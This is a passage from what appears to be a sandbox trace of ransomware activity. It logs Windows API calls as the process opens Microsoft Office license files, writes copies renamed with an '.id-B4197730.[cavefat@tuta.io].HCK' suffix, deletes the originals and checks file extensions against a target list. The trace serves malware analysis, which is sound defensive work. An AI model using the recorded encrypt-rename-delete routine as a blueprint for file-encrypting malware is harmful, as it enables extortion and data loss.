Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0236.948] GetLastError () returned 0x0 [0236.948] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d36, lpOverlapped=0x0) returned 1 [0236.949] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d40, lpOverlapped=0x0) returned 1 [0236.950] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0236.950] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x10a, lpOverlapped=0x0) returned 1 [0236.950] SetEndOfFile (hFile=0x4a0) returned 1 [0236.950] CloseHandle (hObject=0x4a0) returned 1 [0236.951] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.951] SetEndOfFile (hFile=0x4d4) returned 1 [0236.954] CloseHandle (hObject=0x4d4) returned 1 [0236.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-oob.xrm-ms")) returned 1 [0236.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0236.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0236.955] lstrlenW (lpString=".doc") returned 4 [0236.955] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.955] lstrlenW (lpString=".docx") returned 5 [0236.955] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.955] lstrlenW (lpString=".pdf") returned 4 [0236.955] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.955] lstrlenW (lpString=".xls") returned 4 [0236.955] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.955] lstrlenW (lpString=".xlsx") returned 5 [0236.955] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.955] lstrlenW (lpString=".ppt") returned 4 [0236.955] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0236.955] lstrlenW (lpString=".zip") returned 4 [0236.955] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.955] lstrlenW (lpString=".rar") returned 4 [0236.955] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.955] lstrlenW (lpString=".bz2") returned 4 [0236.955] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.955] lstrlenW (lpString=".7z") returned 3 [0236.955] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0236.956] lstrlenW (lpString=".dbf") returned 4 [0236.956] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0236.956] lstrlenW (lpString=".1cd") returned 4 [0236.956] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0236.956] lstrlenW (lpString=".jpg") returned 4 [0236.956] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0236.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0236.956] lstrlenW (lpString=".doc") returned 4 [0236.956] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.956] lstrlenW (lpString=".docx") returned 5 [0236.956] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.956] lstrlenW (lpString=".pdf") returned 4 [0236.956] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.956] lstrlenW (lpString=".xls") returned 4 [0236.956] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.956] lstrlenW (lpString=".xlsx") returned 5 [0236.956] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.956] lstrlenW (lpString=".ppt") returned 4 [0236.956] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0236.956] lstrlenW (lpString=".zip") returned 4 [0236.956] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.956] lstrlenW (lpString=".rar") returned 4 [0236.956] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.956] lstrlenW (lpString=".bz2") returned 4 [0236.956] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.956] lstrlenW (lpString=".7z") returned 3 [0236.956] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0236.956] lstrlenW (lpString=".dbf") returned 4 [0236.956] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0236.956] lstrlenW (lpString=".1cd") returned 4 [0236.956] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-oob.xrm-ms") returned 77 [0236.956] lstrlenW (lpString=".jpg") returned 4 [0236.956] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.956] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.956] lstrlenW (lpString="ExcelR_Trial-pl.xrm-ms") returned 22 [0236.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.957] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11139) returned 1 [0236.957] CloseHandle (hObject=0x4d4) returned 1 [0236.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220 [0236.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.958] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.958] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0236.959] GetLastError () returned 0x0 [0236.959] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2b83, lpOverlapped=0x0) returned 1 [0236.960] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2b90, lpOverlapped=0x0) returned 1 [0236.961] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0236.961] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x100, lpOverlapped=0x0) returned 1 [0236.961] SetEndOfFile (hFile=0x4a0) returned 1 [0236.961] CloseHandle (hObject=0x4a0) returned 1 [0236.961] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.961] SetEndOfFile (hFile=0x4d4) returned 1 [0236.964] CloseHandle (hObject=0x4d4) returned 1 [0236.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 1 [0236.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0236.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0236.965] lstrlenW (lpString=".doc") returned 4 [0236.965] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.965] lstrlenW (lpString=".docx") returned 5 [0236.965] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.965] lstrlenW (lpString=".pdf") returned 4 [0236.965] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.965] lstrlenW (lpString=".xls") returned 4 [0236.965] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.965] lstrlenW (lpString=".xlsx") returned 5 [0236.965] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.965] lstrlenW (lpString=".ppt") returned 4 [0236.965] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0236.965] lstrlenW (lpString=".zip") returned 4 [0236.965] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.965] lstrlenW (lpString=".rar") returned 4 [0236.965] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.965] lstrlenW (lpString=".bz2") returned 4 [0236.965] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.965] lstrlenW (lpString=".7z") returned 3 [0236.965] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0236.965] lstrlenW (lpString=".dbf") returned 4 [0236.965] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0236.965] lstrlenW (lpString=".1cd") returned 4 [0236.965] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0236.965] lstrlenW (lpString=".jpg") returned 4 [0236.965] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0236.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0236.965] lstrlenW (lpString=".doc") returned 4 [0236.966] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.966] lstrlenW (lpString=".docx") returned 5 [0236.966] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.966] lstrlenW (lpString=".pdf") returned 4 [0236.966] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.966] lstrlenW (lpString=".xls") returned 4 [0236.966] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.966] lstrlenW (lpString=".xlsx") returned 5 [0236.966] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.966] lstrlenW (lpString=".ppt") returned 4 [0236.966] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0236.966] lstrlenW (lpString=".zip") returned 4 [0236.966] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.966] lstrlenW (lpString=".rar") returned 4 [0236.966] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.966] lstrlenW (lpString=".bz2") returned 4 [0236.966] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.966] lstrlenW (lpString=".7z") returned 3 [0236.966] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0236.966] lstrlenW (lpString=".dbf") returned 4 [0236.966] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0236.966] lstrlenW (lpString=".1cd") returned 4 [0236.966] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0236.966] lstrlenW (lpString=".jpg") returned 4 [0236.966] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.966] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.966] lstrlenW (lpString="ExcelR_Trial-ppd.xrm-ms") returned 23 [0236.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.967] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=20967) returned 1 [0236.967] CloseHandle (hObject=0x4d4) returned 1 [0236.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220 [0236.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.968] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.968] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0236.969] GetLastError () returned 0x0 [0236.969] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x51e7, lpOverlapped=0x0) returned 1 [0236.973] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x51f0, lpOverlapped=0x0) returned 1 [0236.974] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0236.974] WriteFile (in: hFile=0x4a0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x102, lpOverlapped=0x0) returned 1 [0236.974] SetEndOfFile (hFile=0x4a0) returned 1 [0236.974] CloseHandle (hObject=0x4a0) returned 1 [0236.974] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.974] SetEndOfFile (hFile=0x4d4) returned 1 [0236.977] CloseHandle (hObject=0x4d4) returned 1 [0236.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 1 [0236.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0236.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0236.978] lstrlenW (lpString=".doc") returned 4 [0236.978] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.978] lstrlenW (lpString=".docx") returned 5 [0236.978] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.978] lstrlenW (lpString=".pdf") returned 4 [0236.978] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.978] lstrlenW (lpString=".xls") returned 4 [0236.978] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.978] lstrlenW (lpString=".xlsx") returned 5 [0236.978] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.978] lstrlenW (lpString=".ppt") returned 4 [0236.978] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0236.978] lstrlenW (lpString=".zip") returned 4 [0236.978] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.978] lstrlenW (lpString=".rar") returned 4 [0236.978] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.978] lstrlenW (lpString=".bz2") returned 4 [0236.978] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.978] lstrlenW (lpString=".7z") returned 3 [0236.978] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0236.978] lstrlenW (lpString=".dbf") returned 4 [0236.978] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0236.979] lstrlenW (lpString=".1cd") returned 4 [0236.979] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0236.979] lstrlenW (lpString=".jpg") returned 4 [0236.979] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0236.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0236.979] lstrlenW (lpString=".doc") returned 4 [0236.979] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.979] lstrlenW (lpString=".docx") returned 5 [0236.979] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.979] lstrlenW (lpString=".pdf") returned 4 [0236.979] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.979] lstrlenW (lpString=".xls") returned 4 [0236.979] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.979] lstrlenW (lpString=".xlsx") returned 5 [0236.979] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.979] lstrlenW (lpString=".ppt") returned 4 [0236.979] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0236.979] lstrlenW (lpString=".zip") returned 4 [0236.979] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.979] lstrlenW (lpString=".rar") returned 4 [0236.979] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.979] lstrlenW (lpString=".bz2") returned 4 [0236.979] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.979] lstrlenW (lpString=".7z") returned 3 [0236.979] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0236.979] lstrlenW (lpString=".dbf") returned 4 [0236.979] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0236.979] lstrlenW (lpString=".1cd") returned 4 [0236.979] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0236.979] lstrlenW (lpString=".jpg") returned 4 [0236.979] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.979] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.979] lstrlenW (lpString="ExcelR_Trial-ul-oob.xrm-ms") returned 26 [0236.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.980] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11586) returned 1 [0236.980] CloseHandle (hObject=0x4d4) returned 1 [0236.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220 [0236.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.981] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.981] SetFilePointerEx 